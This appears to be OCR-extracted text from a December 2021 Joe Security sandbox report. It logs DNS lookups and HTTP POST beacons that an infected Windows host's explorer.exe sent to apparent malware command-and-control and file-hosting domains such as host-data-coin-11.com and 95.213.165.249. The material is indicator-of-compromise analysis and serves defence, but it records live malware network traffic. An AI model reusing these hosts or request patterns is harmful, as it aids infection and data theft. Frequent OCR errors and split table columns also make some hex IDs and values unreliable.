8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Trans ID

Oxcd5e

0xe5f2

0x306d

0x8e30

Oxalac

0x4617

0x137b

Oxled6

0x4102

0x56d0

0x2116

0x257e

0Oxcd22

0xe90f

0x5d

0xd659

0xc7b8

Oxf8d1

0xch7

0x17fb

0x7729

0x79d6

0x5b4

Oxa2fc

0xf396

Oxe60d

Oxefba

0x8b16

Oxcadb

0x9ce9

0x83ac

Ox1eb9

0x5e3c

0x94ce

Oxdf6b

0x2089

0xb273

OP Code
Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
()

Standard query
(©)

Standard query
(©)

Standard query
()

Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)
Standard query
)
Standard query
(©)
Standard query
©)
Standard query
)
Standard query
)
Standard query
)
Standard query
)
Standard query
0
Standard query
0
Standard query
0
Standard query
@
Standard query
0
Standard query
0
Standard query
0
Standard query
0

Name

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

privacytoo
Izforyou-7
000.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

file-file-host4.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0Xx0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Dec 1, 2021 09:14:32.404804945 CET

Dec 1, 2021 09:14:32.684566021 CET

Dec 1, 2021 09:14:32.937783003 CET

Dec 1, 2021 09:14:33.147651911 CET

Dec 1, 2021 09:14:33.337136984 CET

Dec 1, 2021 09:14:33.532188892 CET

Dec 1, 2021 09:14:34.032916069 CET

Dec 1, 2021 09:14:34.226881981 CET

Dec 1, 2021 09:14:34.475718975 CET

Dec 1, 2021 09:14:34.666623116 CET

Dec 1, 2021 09:14:34.856899977 CET

Dec 1, 2021 09:15:22.722491026 CET

Dec 1, 2021 09:15:28.530594110 CET

Dec 1, 2021 09:15:32.429128885 CET

Dec 1, 2021 09:15:34.813688040 CET

Dec 1, 2021 09:15:38.721261978 CET

Dec 1, 2021 09:15:42.748756886 CET

Dec 1, 2021 09:15:46.765213966 CET

DNS Answers

Timestamp Source IP

Dec 1, 2021 8.8.8.8
09:13:55.257476091
CET

Dec 1, 2021 8.8.8.8
09:13:55.461035013
CET

Dec 1, 2021 8.8.8.8
09:13:55.969400883
CET

Dec 1, 2021 8.8.8.8
09:13:56.157601118
CET

Dec 1, 2021 8.8.8.8
09:13:56.616105080
CET

Dec 1, 2021 8.8.8.8
09:13:56.823924065
CET

Dec 1, 2021 8.8.8.8
09:13:57.316086054
CET

Dec 1, 2021 8.8.8.8
09:14:00.066504002
CET

Dec 1, 2021 8.8.8.8
09:14:00.588979959
CET

Dec 1, 2021 8.8.8.8
09:14:00.785895109
CET

Dec 1, 2021 8.8.8.8
09:14:00.995793104
CET

Dec 1, 2021 8.8.8.8
09:14:00.995793104
CET
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Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Source IP

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID
Ox6aal

0xa429

Oxc6b7

0x54e

Oxcee8

Oxba8a

0x8eeb

Ox3ae

0xd3b8

0x489d

0x57f4

0x57f4

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

0x6232

Oxad1f

0xb0c8

0xd15c

Oxd2fe

0x336b

0xc2c5

0x3bfc

0x6f04

Ox4d5f

0xd304

Oxdlc4

0xbb3

0x1e35

Oxe8e8

0xel02

0xe293

Oxdee9

Name

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

cdn.discor
dapp.com

cdn.discor
dapp.com

OP Code
Standard query
(0

Standard query
(0

Standard query
0

Standard query
0

Standard query
(0

Standard query
(0)

Standard query
(0)

Standard query
(0

Standard query
(0)

Standard query
(0

Standard query
@

Standard query
©

Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
(©)

CName

Name

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

cdn.discor
dapp.com

go.ckauni.ru

www.google.com

unic7m.top

unic7m.top

unic7m.top

unic7m.top

Address
95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

162.159.130.233

162.159.129.233

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class
IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Dec 1, 2021 8.8.8.8
09:14:00.995793104
CET

Dec 1, 2021 8.8.8.8
09:14:00.995793104
CET

Dec 1, 2021 8.8.8.8
09:14:00.995793104
CET

Dec 1, 2021 8.8.8.8
09:14:02.461729050
CET

Dec 1, 2021 8.8.8.8
09:14:02.651237965
CET

Dec 1, 2021 8.8.8.8
09:14:03.133440971
CET

Dec 1, 2021 8.8.8.8
09:14:03.491854906
CET

Dec 1, 2021 8.8.8.8
09:14:03.733761072
CET

Dec 1, 2021 8.8.8.8
09:14:04.381115913
CET

Dec 1, 2021 8.8.8.8
09:14:04.572211981
CET

Dec 1, 2021 8.8.8.8
09:14:05.972352982
CET

Dec 1, 2021 8.8.8.8
09:14:06.165329933
CET

Dec 1, 2021 8.8.8.8
09:14:06.366596937
CET

Dec 1, 2021 8.8.8.8
09:14:06.827913046
CET

Dec 1, 2021 8.8.8.8
09:14:09.521253109
CET

Dec 1, 2021 8.8.8.8
09:14:09.711407900
CET

Dec 1, 2021 8.8.8.8
09:14:09.932312965
CET

Dec 1, 2021 8.8.8.8
09:14:10.119246006
CET

Dec 1, 2021 8.8.8.8
09:14:10.350357056
CET

Dec 1, 2021 8.8.8.8
09:14:12.558250904
CET

Dec 1, 2021 8.8.8.8
09:14:12.752151012
CET

Dec 1, 2021 8.8.8.8
09:14:12.940529108
CET

Dec 1, 2021 8.8.8.8
09:14:13.212126017
CET

Dec 1, 2021 8.8.8.8
09:14:13.746201038
CET

Dec 1, 2021 8.8.8.8
09:14:16.803610086
CET

Dec 1, 2021 8.8.8.8
09:14:17.041070938
CET

Copyright Joe Security LLC 2021

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0x57f4

0x57f4

0x57f4

Oxcd5e

0xe5f2

0x306d

0x8e30

Oxalac

0x4617

0x137b

Oxled6

0x4102

0x56d0

0x2116

0x257e

Oxcd22

0xe90f

0x5d

0xd659

0xc7b8

Oxf8d1l

0xcb7

0x17fb

0x7729

0x79d6

0x5b4

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

privacytoo
|zforyou-7
000.com

host-data-coin-
11.com

host-data-coin-
11.com

CName

Address
162.159.133.233

162.159.135.233

162.159.134.233

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Dec 1, 2021
09:14:17.547084093
CET

Dec 1, 2021
09:14:17.829583883
CET

Dec 1, 2021
09:14:18.087007999
CET

Dec 1, 2021
09:14:18.266704082
CET

Dec 1, 2021
09:14:18.823520899
CET

Dec 1, 2021
09:14:19.821194887
CET

Dec 1, 2021
09:14:26.432487965
CET

Dec 1, 2021
09:14:26.621478081
CET

Dec 1, 2021
09:14:26.878792048
CET

Dec 1, 2021
09:14:27.087215900
CET

Dec 1, 2021
09:14:27.370862007
CET

Dec 1, 2021
09:14:27.572081089
CET

Dec 1, 2021
09:14:27.848443031
CET

Dec 1, 2021
09:14:28.076781034
CET

Dec 1, 2021
09:14:32.424825907
CET

Dec 1, 2021
09:14:32.704303980
CET

Dec 1, 2021
09:14:32.957524061
CET

Dec 1, 2021
09:14:33.167165041
CET

Dec 1, 2021
09:14:33.356935978
CET

Dec 1, 2021
09:14:33.848562956
CET

Dec 1, 2021
09:14:34.053011894
CET

Dec 1, 2021
09:14:34.246054888
CET

Dec 1, 2021
09:14:34.494960070
CET

Dec 1, 2021
09:14:34.686779022
CET

Dec 1, 2021
09:14:34.874905109
CET

Dec 1, 2021
09:15:22.740073919
CET

Copyright Joe Security LLC 2021

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

Oxa2fc

0xf396

Oxe60d

Oxefba

0x8b16

Oxcadb

0x9ce9

0x83ac

Ox1leb9

0x5e3c

0x94ce

Oxdféb

0x2089

0xb273

0x6232

Oxad1f

0xb0c8

Oxd15¢c

Oxd2fe

0x336b

0xc2c5

0x3bfc

0x6f04

0Ox4d5f

0xd304

Oxdlc4

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

file-file-host4.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

cdn.discor
dapp.com

Address
95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

95.213.165.249

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

162.159.130.233 A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 1, 2021 8.8.8.8 192.168.2.4 Oxdlc4 No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)
09:15:22.740073919 dapp.com

CET

Dec 1, 2021 8.8.8.8 192.168.2.4 Oxdlc4 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)
09:15:22.740073919 dapp.com

CET

Dec 1, 2021 8.8.8.8 192.168.2.4 Oxdlc4 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)
09:15:22.740073919 dapp.com

CET

Dec 1, 2021 8.8.8.8 192.168.2.4 Oxdlc4 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)
09:15:22.740073919 dapp.com

CET

Dec 1, 2021 8.8.8.8 192.168.2.4 0xbb3 No error (0) go.ckauni.ru 81.177.141.85 A (IP address) IN (0x0001)
09:15:28.607682943

CET

Dec 1, 2021 8.8.8.8 192.168.2.4 0x1e35 No error (0) www.google.com 142.250.184.68 A (IP address) IN (0x0001)
09:15:32.448966980

CET

Dec 1, 2021 8.8.8.8 192.168.2.4 0xe8e8 Name error (3) unic7m.top none none A (IP address) IN (0x0001)
09:15:34.920037985

CET

Dec 1, 2021 8.8.8.8 192.168.2.4 0xel02 Name error (3) unic7m.top none none A (IP address) IN (0x0001)
09:15:38.836749077

CET

Dec 1, 2021 8.8.8.8 192.168.2.4 0xe293 Name error (3) unic7m.top none none A (IP address) IN (0x0001)
09:15:42.855458975

CET

Dec 1, 2021 8.8.8.8 192.168.2.4 Oxdee9 Name error (3)  unic7m.top none none A (IP address) IN (0x0001)
09:15:46.783274889

CET

HTTP Request Dependency Graph

.

cdn.discordapp.com

.

nbriredl.org
e host-data-coin-11.com

.

gqnrsjcd.org

.

sqdlx.net

.

ggigae.com

xbbffefnf.net

o

fhfscvxar.com

o

.

host-file-host-3.com

e byrobmm.com

e xerwbpt.net

.

xbopjw.org

.

jucecaeyqu.com

.

nakeeqwarft.com

.

pindoeiyl.org

e hmyqurtmv.net

.

yxndp.net
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.

luugcbey.org

e pxptimk.com

e smfbsrgxse.org

e nabmhhv.net

e mdyfwsxro.com

e kpgguo.net

.

tevvfr.com

e aryonwruu.com

.

vefoyiify.org

e guokyvqgg.net

.

sdcdogt.org

virmk.net

.

.

tgtmtdosym.net

.

privacytoolzforyou-7000.com

drrwv.net

.

.

rbuygamdy.net

e omxkjxm.net

e Xxigvfc.com

.

nwglosscc.net

o

bkjjovgxmd.org

file-file-host4.com

o

.

pborgy.net

.

happgl.org

.

ybcka.net

.

buintdmfv.com

.

slymghed.org

e oamtgaba.net

.

xuobblxeto.org

e clekn.com

.

jhglgm.org
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.

pnkfchg.org

.

inflgn.com

.

obtnplggwg.com

e buxkshswe.org

.

wjpbjeendw.net

.

pmhitsi.org

.

jydujxmpvv.com

.

xtfcaknrkg.com

e mtfpb.com

HTTP Packets

Session ID

0

Timestamp

Session ID

1

Timestamp

Session ID
10

Timestamp

Dec 1, 2021
09:14:00.647543907 CET

Dec 1, 2021
09:14:00.754903078 CET

Session ID
11

Timestamp

Dec 1, 2021
09:14:00.844767094 CET

Source IP

192.168.2.4

kBytes
transferred

Source IP

192.168.2.4

kBytes
transferred

Source IP
192.168.2.4

kBytes
transferred

2433

2434

Source IP
192.168.2.4

kBytes
transferred

2435

Copyright Joe Security LLC 2021

Source Port

49767

Direction

Source Port

49832

Direction

Source Port
49765

Direction
ouT

Source Port
49766

Direction

ouT

Destination IP Destination Port Process

162.159.130.233 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

162.159.130.233 443 C:\Windows\explorer.exe

Data

Destination IP  Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xerwbpt.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 252

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xbopjw.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 112

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Dec 1, 2021 2435
09:14:00.950323105 CET

Session ID Source IP
12 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2846

09:14:02.523145914 CET

Dec 1, 2021 2847
09:14:02.620583057 CET

Session ID Source IP
13 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2848

09:14:02.711354017 CET

Dec 1, 2021 2849
09:14:02.810172081 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49768

Direction

ouT

Source Port
49769

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:00 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 36 35 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 Oc
ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 50 dd 4b dO fe 26 85 21 ea a5 90 50 2e e2 be 4d 23 e3 b3 b4 6¢
fb 9f bc 50 ab 73 93 cb 32 40 5¢ 3c 0d 4b dd bb 4a be ff 57 99 bd d4 0b 8d 2b 80 cf 0d 0a 30 0d Oa 0d Oa

Data Ascii: 651:820B%, YR("XPK&!P.M#IPs2@\<KJW+0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jucecaeyqu.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 309

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:02 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3¢ 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP  Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://nakeeqwaft.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 295

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:02 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
